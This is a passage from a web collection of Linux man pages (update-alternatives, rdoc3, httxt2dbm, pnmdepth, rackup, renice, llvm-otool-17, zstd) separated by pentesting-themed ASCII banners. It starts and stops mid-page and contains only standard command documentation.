When this field is present, the next lines hold all slave alternatives associated to the master link of the alternative. There is one slave per line. Each line contains one space, the generic name of the slave alternative, another space, and the path to the slave alternative.

Example

$ update-alternatives –query editor Name: editor Link: /usr/bin/editor Slaves: editor.1.gz /usr/share/man/man1/editor.1.gz editor.fr.1.gz /usr/share/man/fr/man1/editor.1.gz editor.it.1.gz /usr/share/man/it/man1/editor.1.gz editor.pl.1.gz /usr/share/man/pl/man1/editor.1.gz editor.ru.1.gz /usr/share/man/ru/man1/editor.1.gz Status: auto Best: /usr/bin/vim.basic Value: /usr/bin/vim.basic Alternative: /bin/ed Priority: -100 Slaves: editor.1.gz /usr/share/man/man1/ed.1.gz Alternative: /usr/bin/vim.basic Priority: 50 Slaves: editor.1.gz /usr/share/man/man1/vim.1.gz editor.fr.1.gz /usr/share/man/fr/man1/vim.1.gz editor.it.1.gz /usr/share/man/it/man1/vim.1.gz editor.pl.1.gz /usr/share/man/pl/man1/vim.1.gz editor.ru.1.gz /usr/share/man/ru/man1/vim.1.gz

DIAGNOSTICS

With –verbose update-alternatives chatters incessantly about its activities on its standard output channel. If problems occur, update-alternatives outputs error messages on its standard error channel and returns an exit status of 2. These diagnostics should be self-explanatory; if you do not find them so, please report this as a bug.

EXAMPLES

There are several packages which provide a text editor compatible with vi, for example nvi and vim. Which one is used is controlled by the link group vi, which includes links for the program itself and the associated manual page.

To display the available packages which provide vi and the current setting for it, use the –display action: update-alternatives –display vi

To choose a particular vi implementation, use this command as root and then select a number from the list: update-alternatives –config vi

To go back to having the vi implementation chosen automatically, do this as root: update-alternatives –auto vi

SEE ALSO

ln (1), FHS (the Filesystem Hierarchy Standard).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

850 - Linux cli command rdoc3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rdoc3 and provides detailed information about the command rdoc3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rdoc3.

NAME 🖥️ rdoc3 🖥️

Generate documentation from Ruby script files

SYNOPSIS

rdoc3.1 [options] [names…]

DESCRIPTION

Files are parsed, and the information they contain collected, before any output is produced. This allows cross references between all files to be resolved. If a name is a directory, it is traversed. If no names are specified, all Ruby files in the current directory (and subdirectories) are processed.

Available output formatters: chm, html, ri, xml

For information on where the output goes, use:

    rdoc --help-output

OPTIONS

–accessor, -A accessorname[,..] comma separated list of additional class methods that should be treated like ‘attr_reader’ and friends. Option may be repeated. Each accessorname may have ‘=text’ appended, in which case that text appears where the r/w/rw appears for normal accessors.

–all, -a include all methods (not just public) in the output.

–charset, -c charset specifies HTML character-set

–debug, -D displays lots on internal stuff

–diagram, -d generate diagrams showing modules and classes. You need dot V1.8.6 or later to use the –diagram option correctly. Dot is available from <URL:http://www.research.att.com/sw/tools/graphviz/>.

–exclude, -x pattern do not process files or directories matching pattern. Files given explicitly on the command line will never be excluded.

–extension, -E new = old treat files ending with .new as if they ended with .old. Using ‘-E cgi=rb’ will cause xxx.cgi to be parsed as a Ruby file

–fileboxes, -F classes are put in boxes which represents files, where these classes reside. Classes shared between more than one file are shown with list of files that sharing them. Silently discarded if –diagram is not given Experimental.

–fmt, -f formatname set the output formatter (see below).

–help, -h print usage.

–help-output, -O explain the various output options.

–image-format, -I gif|png|jpg|jpeg sets output image format for diagrams. Can be png, gif, jpeg, jpg. If this option is omitted, png is used. Requires –diagram.

–include, -i dir[,dir…] set (or add to) the list of directories to be searched when satisfying :include: requests. Can be used more than once.

–inline-source, -S show method source code inline, rather than via a popup link.

–line-numbers, -N include line numbers in the source code

–main, -m name name will be the initial page displayed.

–merge, -M when creating ri output, merge processed classes into previously documented classes of the name name.

–one-file, -1 put all the output into a single file.

–op, -o dir set the output directory.

–opname, -n name set the name of the output. Has no effect for HTML.

–promiscuous, -p When documenting a file that contains a module or class also defined in other files, show all stuff for that module/class in each files page. By default, only show stuff defined in that particular file.

–quiet, -q don’t show progress as we parse.

–ri, -r generate output for use by ‘ri.’ The files are stored in the ‘.rdoc’ directory under your home directory unless overridden by a subsequent –op parameter, so no special privileges are needed.

–ri-site, -R generate output for use by ‘ri.’ The files are stored in a site-wide directory, making them accessible to others, so special privileges are needed.

–ri-system, -Y generate output for use by ‘ri.’ The files are stored in a system-level directory, making them accessible to others, so special privileges are needed. This option is intended to be used during Ruby installations.

–show-hash, -H a name of the form #name in a comment is a possible hyperlink to an instance method name. When displayed, the ‘#’ is removed unless this option is specified.

–style, -s stylesheet-url specifies the URL of a separate stylesheet.

–tab-width, -w n set the width of tab characters (default 8).

–template, -T template-name set the template used when generating output.

–title, -t text set text as the title for the output.

–version, -v display RDoc’s version.

–webcvs, -W url specify a URL for linking to a web frontend to CVS. If the URL contains a contain a ‘%s’, the filename will be appended to it.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

851 - Linux cli command httxt2dbm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command httxt2dbm and provides detailed information about the command httxt2dbm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the httxt2dbm.

\1

\1

NAME 🖥️ httxt2dbm 🖥️

Generate dbm files for use with RewriteMap

SYNOPSIS

httxt2dbm [ -v ] [ -f DBM_TYPE ] -i SOURCE_TXT -o OUTPUT_DBM

SUMMARY

httxt2dbm is used to generate dbm files from text input, for use in RewriteMap with the dbm map type.

If the output file already exists, it will not be truncated. New keys will be added and existing keys will be updated.

OPTIONS

-v
More verbose output

-f DBM_TYPE
Specify the DBM type to be used for the output. If not specified, will use the APR Default. Available types are: GDBM for GDBM files, SDBM for SDBM files, DB for berkeley DB files, NDBM for NDBM files, default for the default DBM type.

-i SOURCE_TXT
Input file from which the dbm is to be created. The file should be formatted with one record per line, of the form: key value. See the documentation for RewriteMap for further details of this file’s format and meaning.

-o OUTPUT_DBM
Name of the output dbm files.

EXAMPLES

      httxt2dbm -i rewritemap.txt -o rewritemap.dbm
      httxt2dbm -f SDBM -i rewritemap.txt -o rewritemap.dbm 
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

852 - Linux cli command pnmdepth

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmdepth and provides detailed information about the command pnmdepth, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmdepth.

.

NAME 🖥️ pnmdepth 🖥️

replaced by pamdepth

DESCRIPTION

This program is part of Netpbm(1) .

Starting with Netpbm 10.32 (February 2006), pnmdepth is obsolete. Use pamdepth(1) instead.

pamdepth is backward compatible with pnmdepth. You can use the pamdepth manual for pnmdepth as long as you ignore features that were added after Netpbm 10.31.

For backward compatibility, the name ‘pnmdepth’ continues to exist as an alias for ‘pamdepth’. But because of a bug, that name doesn’t work in Netpbm 10.32. You have to fix the symbolic link.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmdepth.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

853 - Linux cli command rackup

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rackup and provides detailed information about the command rackup, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rackup.

NAME 🖥️ rackup 🖥️

rackup(1) – An utility for run Rack-based applications

SYNOPSIS

rackup [ruby options] [rack options] [rackup config]

DESCRIPTION

Rackup is a useful tool for running Rack applications, which uses the Rack::Builder DSL to configure middleware and build up applications easily.

rackup automatically figures out the environment it is run in, and runs your application as FastCGI, CGI, or standalone with Mongrel or WEBrick -all from the same configuration.

OPTIONS

Ruby options:

-e, –eval [LINE]
evaluate a LINE of code

-d, –debug
set debugging flags (set $DEBUG to true)

-w, –warn
turn warnings on for your script

-I, –include [PATH]
specify $LOAD_PATH (may be used more than once)

-r, –require [LIBRARY]
require the library, before executing your script

Rack options:

-s, –server [SERVER]
serve using SERVER (webrick/mongrel)

-o, –host [HOST]
listen on HOST (default: 0.0.0.0)

-p, –port [PORT]
use PORT (default: 9292)

-E, –env [ENVIRONMENT]
use ENVIRONMENT for defaults (default: development)

-D, –daemonize
run daemonized in the background

-P, –pid [FILE]
file to store PID (default: rack.pid)

Common options:

-h, –help
Show the help message

–version
Show version

EXAMPLES

This is a simple example on how to start an application based on Rack with rackup:

$ rackup -Ilib blog/config.ru

[2010-12-10 15:01:11] INFO WEBrick 1.3.1

[2010-12-10 15:01:11] INFO ruby 1.9.2 (2010-08-18) [x86_64-linux]

[2010-12-10 15:01:11] INFO WEBrick::HTTPServer#start: pid=4496 port=9292

AUTHORS

Copyright (C) 2007, 2008, 2009, 2010 Christian Neukirchen <http://purl.org/net/chneukirchen>

For a complete list of authors and contributors to the project, please take a look here https://github.com/rack/rack/contributors

This manual page was written by Ermenegildo Fiorito [email protected] for the Debian Project

SEE ALSO

ruby(1) http://rack.rubyforge.org

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

854 - Linux cli command renice

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command renice and provides detailed information about the command renice, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the renice.

NAME 🖥️ renice 🖥️

alter priority of running processes

SYNOPSIS

renice [–priority|–relative] priority [-g|-p|-u] identifier

DESCRIPTION

renice alters the scheduling priority of one or more running processes. The first argument is the priority value to be used. The other arguments are interpreted as process IDs (by default), process group IDs, user IDs, or user names. reniceing a process group causes all processes in the process group to have their scheduling priority altered. reniceing a user causes all processes owned by the user to have their scheduling priority altered.

If no -n, –priority or –relative option is used, then the priority is set as absolute.

OPTIONS

-n priority

Specify the absolute or relative (depending on environment variable POSIXLY_CORRECT) scheduling priority to be used for the process, process group, or user. Use of the option -n is optional, but when used, it must be the first argument. See NOTES for more information.

–priority priority

Specify an absolute scheduling priority. Priority is set to the given value. This is the default, when no option is specified.

–relative priority

Specify a relative scheduling priority. Same as the standard POSIX -n option. Priority gets incremented/decremented by the given value.

-g, –pgrp

Interpret the succeeding arguments as process group IDs.

-p, –pid

Interpret the succeeding arguments as process IDs (the default).

-u, –user

Interpret the succeeding arguments as usernames or UIDs.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

FILES

/etc/passwd

to map user names to user IDs

NOTES

Users other than the superuser may only alter the priority of processes they own. Furthermore, an unprivileged user can only increase the “nice value” (i.e., choose a lower priority) and such changes are irreversible unless (since Linux 2.6.12) the user has a suitable “nice” resource limit (see ulimit(1p) and getrlimit(2)).

The superuser may alter the priority of any process and set the priority to any value in the range -20 to 19. Useful priorities are: 19 (the affected processes will run only when nothing else in the system wants to), 0 (the “base” scheduling priority), anything negative (to make things go very fast).

For historical reasons in this implementation, the -n option did not follow the POSIX specification. Therefore, instead of setting a relative priority, it sets an absolute priority by default. As this may not be desirable, this behavior can be controlled by setting the environment variable POSIXLY_CORRECT to be fully POSIX compliant. See the -n option for details. See –relative and –priority for options that do not change behavior depending on environment variables.

HISTORY

The renice command appeared in 4.0BSD.

EXAMPLES

The following command would change the priority of the processes with PIDs 987 and 32, plus all processes owned by the users daemon and root:

renice +1 987 -u daemon root -p 32

SEE ALSO

nice(1), chrt(1), getpriority(2), setpriority(2), credentials(7), sched(7)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The renice command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

855 - Linux cli command llvm-otool-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-otool-17 and provides detailed information about the command llvm-otool-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-otool-17.

NAME 🖥️ llvm-otool-17 🖥️

otool - Mach-O dumping tool

SYNOPSIS

llvm-otool [option…] [file…]

DESCRIPTION

llvm-otool is a tool for dumping Mach-O files.

It attempts to be command-line-compatible and output-compatible with macOS’s otool.

OPTIONS

-arch <value>
Select slice of universal Mach-O file.

-chained_fixups
Print chained fixup information.

-C
Print linker optimization hints.

-dyld_info
Print bind and rebase information.

-D
Print shared library id.

-d
Print data section.

-f
Print universal headers.

-G
Print data-in-code table.

–help-hidden
Print help for hidden flags.

–help
Print help.

-h
Print mach header.

-I
Print indirect symbol table.

-j
Print opcode bytes.

-L
Print used shared libraries.

-l
Print load commands.

-mcpu=<value>
Select cpu for disassembly.

-o
Print Objective-C segment.

-P
Print __TEXT,__info_plist section as strings.

-p <function name>
Start disassembly at <function name>.

-r
Print relocation entries.

-s <segname> <sectname>
Print contents of section.

-t
Print text section.

–version
Print version.

-V
Symbolize disassembled operands (implies -v).

-v
Verbose output / disassemble when printing text sections.

-X
Omit leading addresses or headers.

-x
Print all text sections.

@<FILE>
Read command-line options and commands from response file <FILE>.

EXIT STATUS

llvm-otool exits with a non-zero exit code if there is an error. Otherwise, it exits with code 0.

BUGS

To report bugs, please visit <https://github.com/llvm/llvm-project/labels/tools:llvm-objdump/>.

SEE ALSO

llvm-nm(1), llvm-objdump(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

856 - Linux cli command unzstd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command unzstd and provides detailed information about the command unzstd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the unzstd.

NAME 🖥️ unzstd 🖥️

zstd, zstdmt, unzstd, zstdcat - Compress or decompress .zst files

SYNOPSIS

zstd [OPTIONS] [-|INPUT-FILE] [-o OUTPUT-FILE]

zstdmt is equivalent to zstd -T0

unzstd is equivalent to zstd -d

zstdcat is equivalent to zstd -dcf

DESCRIPTION

zstd is a fast lossless compression algorithm and data compression tool, with command line syntax similar to gzip(1) and xz(1). It is based on the LZ77 family, with further FSE & huff0 entropy stages. zstd offers highly configurable compression speed, from fast modes at > 200 MB/s per core, to strong modes with excellent compression ratios. It also features a very fast decoder, with speeds > 500 MB/s per core, which remains roughly stable at all compression settings.

zstd command line syntax is generally similar to gzip, but features the following few differences:

  • Source files are preserved by default. It’s possible to remove them automatically by using the –rm command.

  • When compressing a single file, zstd displays progress notifications and result summary by default. Use -q to turn them off.

  • zstd displays a short help page when command line is an error. Use -q to turn it off.

  • zstd does not accept input from console, though it does accept stdin when it’s not the console.

  • zstd does not store the input’s filename or attributes, only its contents.

zstd processes each file according to the selected operation mode. If no files are given or file is -, zstd reads from standard input and writes the processed data to standard output. zstd will refuse to write compressed data to standard output if it is a terminal: it will display an error message and skip the file. Similarly, zstd will refuse to read compressed data from standard input if it is a terminal.

Unless –stdout or -o is specified, files are written to a new file whose name is derived from the source file name:

  • When compressing, the suffix .zst is appended to the source filename to get the target filename.

  • When decompressing, the .zst suffix is removed from the source filename to get the target filename

Concatenation with .zst Files

It is possible to concatenate multiple .zst files. zstd will decompress such agglomerated file as if it was a single .zst file.

OPTIONS

Integer Suffixes and Special Values

In most places where an integer argument is expected, an optional suffix is supported to easily indicate large integers. There must be no space between the integer and the suffix.

KiB
Multiply the integer by 1,024 (2^10). Ki, K, and KB are accepted as synonyms for KiB.

MiB
Multiply the integer by 1,048,576 (2^20). Mi, M, and MB are accepted as synonyms for MiB.

Operation Mode

If multiple operation mode options are given, the last one takes effect.

-z, –compress
Compress. This is the default operation mode when no operation mode option is specified and no other operation mode is implied from the command name (for example, unzstd implies –decompress).

-d, –decompress, –uncompress
Decompress.

-t, –test
Test the integrity of compressed files. This option is equivalent to –decompress –stdout > /dev/null, decompressed data is discarded and checksummed for errors. No files are created or removed.

-b#
Benchmark file(s) using compression level #. See BENCHMARK below for a description of this operation.

–train FILES
Use FILES as a training set to create a dictionary. The training set should contain a lot of small files (> 100). See DICTIONARY BUILDER below for a description of this operation.

-l, –list
Display information related to a zstd compressed file, such as size, ratio, and checksum. Some of these fields may not be available. This command’s output can be augmented with the -v modifier.

Operation Modifiers

  • -#: selects # compression level [1-19] (default: 3). Higher compression levels generally produce higher compression ratio at the expense of speed and memory. A rough rule of thumb is that compression speed is expected to be divided by 2 every 2 levels. Technically, each level is mapped to a set of advanced parameters (that can also be modified individually, see below). Because the compressor’s behavior highly depends on the content to compress, there’s no guarantee of a smooth progression from one level to another.

  • –ultra: unlocks high compression levels 20+ (maximum 22), using a lot more memory. Note that decompression will also require more memory when using these levels.

  • –fast[=#]: switch to ultra-fast compression levels. If =# is not present, it defaults to 1. The higher the value, the faster the compression speed, at the cost of some compression ratio. This setting overwrites compression level if one was set previously. Similarly, if a compression level is set after –fast, it overrides it.

  • -T#, –threads=#: Compress using # working threads (default: 1). If # is 0, attempt to detect and use the number of physical CPU cores. In all cases, the nb of threads is capped to ZSTDMT_NBWORKERS_MAX, which is either 64 in 32-bit mode, or 256 for 64-bit environments. This modifier does nothing if zstd is compiled without multithread support.

  • –single-thread: Use a single thread for both I/O and compression. As compression is serialized with I/O, this can be slightly slower. Single-thread mode features significantly lower memory usage, which can be useful for systems with limited amount of memory, such as 32-bit systems.

    Note 1: this mode is the only available one when multithread support is disabled.

    Note 2: this mode is different from -T1, which spawns 1 compression thread in parallel with I/O. Final compressed result is also slightly different from -T1.

  • –auto-threads={physical,logical} (default: physical): When using a default amount of threads via -T0, choose the default based on the number of detected physical or logical cores.

  • –adapt[=min=#,max=#]: zstd will dynamically adapt compression level to perceived I/O conditions. Compression level adaptation can be observed live by using command -v. Adaptation can be constrained between supplied min and max levels. The feature works when combined with multi-threading and –long mode. It does not work with –single-thread. It sets window size to 8 MiB by default (can be changed manually, see wlog). Due to the chaotic nature of dynamic adaptation, compressed result is not reproducible.

    Note: at the time of this writing, –adapt can remain stuck at low speed when combined with multiple worker threads (>=2).

  • –long[=#]: enables long distance matching with # windowLog, if # is not present it defaults to 27. This increases the window size (windowLog) and memory usage for both the compressor and decompressor. This setting is designed to improve the compression ratio for files with long matches at a large distance.

    Note: If windowLog is set to larger than 27, –long=windowLog or –memory=windowSize needs to be passed to the decompressor.

  • -D DICT: use DICT as Dictionary to compress or decompress FILE(s)

  • –patch-from FILE: Specify the file to be used as a reference point for zstd’s diff engine. This is effectively dictionary compression with some convenient parameter selection, namely that windowSize > srcSize.

    Note: cannot use both this and -D together.

    Note: –long mode will be automatically activated if chainLog < fileLog (fileLog being the windowLog required to cover the whole file). You can also manually force it.

    Note: for all levels, you can use –patch-from in –single-thread mode to improve compression ratio at the cost of speed.

    Note: for level 19, you can get increased compression ratio at the cost of speed by specifying –zstd=targetLength= to be something large (i.e. 4096), and by setting a large –zstd=chainLog=.

  • –rsyncable: zstd will periodically synchronize the compression state to make the compressed file more rsync-friendly. There is a negligible impact to compression ratio, and a potential impact to compression speed, perceptible at higher speeds, for example when combining –rsyncable with many parallel worker threads. This feature does not work with –single-thread. You probably don’t want to use it with long range mode, since it will decrease the effectiveness of the synchronization points, but your mileage may vary.

  • -C, –[no-]check: add integrity check computed from uncompressed data (default: enabled)

  • –[no-]content-size: enable / disable whether or not the original size of the file is placed in the header of the compressed file. The default option is –content-size (meaning that the original size will be placed in the header).

  • –no-dictID: do not store dictionary ID within frame header (dictionary compression). The decoder will have to rely on implicit knowledge about which dictionary to use, it won’t be able to check if it’s correct.

  • -M#, –memory=#: Set a memory usage limit. By default, zstd uses 128 MiB for decompression as the maximum amount of memory the decompressor is allowed to use, but you can override this manually if need be in either direction (i.e. you can increase or decrease it).

    This is also used during compression when using with –patch-from=. In this case, this parameter overrides that maximum size allowed for a dictionary. (128 MiB).

    Additionally, this can be used to limit memory for dictionary training. This parameter overrides the default limit of 2 GiB. zstd will load training samples up to the memory limit and ignore the rest.

  • –stream-size=#: Sets the pledged source size of input coming from a stream. This value must be exact, as it will be included in the produced frame header. Incorrect stream sizes will cause an error. This information will be used to better optimize compression parameters, resulting in better and potentially faster compression, especially for smaller source sizes.

  • –size-hint=#: When handling input from a stream, zstd must guess how large the source size will be when optimizing compression parameters. If the stream size is relatively small, this guess may be a poor one, resulting in a higher compression ratio than expected. This feature allows for controlling the guess when needed. Exact guesses result in better compression ratios. Overestimates result in slightly degraded compression ratios, while underestimates may result in significant degradation.

  • –target-compressed-block-size=#: Attempt to produce compressed blocks of approximately this size. This will split larger blocks in order to approach this target. This feature is notably useful for improved latency, when the receiver can leverage receiving early incomplete data. This parameter defines a loose target: compressed blocks will target this size “on average”, but individual blocks can still be larger or smaller. Enabling this feature can decrease compression speed by up to ~10% at level 1. Higher levels will see smaller relative speed regression, becoming invisible at higher settings.

  • -f, –force: disable input and output checks. Allows overwriting existing files, input from console, output to stdout, operating on links, block devices, etc. During decompression and when the output destination is stdout, pass-through unrecognized formats as-is.

  • -c, –stdout: write to standard output (even if it is the console); keep original files (disable –rm).

  • -o FILE: save result into FILE. Note that this operation is in conflict with -c. If both operations are present on the command line, the last expressed one wins.

  • –[no-]sparse: enable / disable sparse FS support, to make files with many zeroes smaller on disk. Creating sparse files may save disk space and speed up decompression by reducing the amount of disk I/O. default: enabled when output is into a file, and disabled when output is stdout. This setting overrides default and can force sparse mode over stdout.

  • –[no-]pass-through enable / disable passing through uncompressed files as-is. During decompression when pass-through is enabled, unrecognized formats will be copied as-is from the input to the output. By default, pass-through will occur when the output destination is stdout and the force (-f) option is set.

  • –rm: remove source file(s) after successful compression or decompression. This command is silently ignored if output is stdout. If used in combination with -o, triggers a confirmation prompt (which can be silenced with -f), as this is a destructive operation.

  • -k, –keep: keep source file(s) after successful compression or decompression. This is the default behavior.

  • -r: operate recursively on directories. It selects all files in the named directory and all its subdirectories. This can be useful both to reduce command line typing, and to circumvent shell expansion limitations, when there are a lot of files and naming breaks the maximum size of a command line.

  • –filelist FILE read a list of files to process as content from FILE. Format is compatible with ls output, with one file per line.

  • –output-dir-flat DIR: resulting files are stored into target DIR directory, instead of same directory as origin file. Be aware that this command can introduce name collision issues, if multiple files, from different directories, end up having the same name. Collision resolution ensures first file with a given name will be present in DIR, while in combination with -f, the last file will be present instead.

  • –output-dir-mirror DIR: similar to –output-dir-flat, the output files are stored underneath target DIR directory, but this option will replicate input directory hierarchy into output DIR.

    If input directory contains “..”, the files in this directory will be ignored. If input directory is an absolute directory (i.e. “/var/tmp/abc”), it will be stored into the “output-dir/var/tmp/abc”. If there are multiple input files or directories, name collision resolution will follow the same rules as –output-dir-flat.

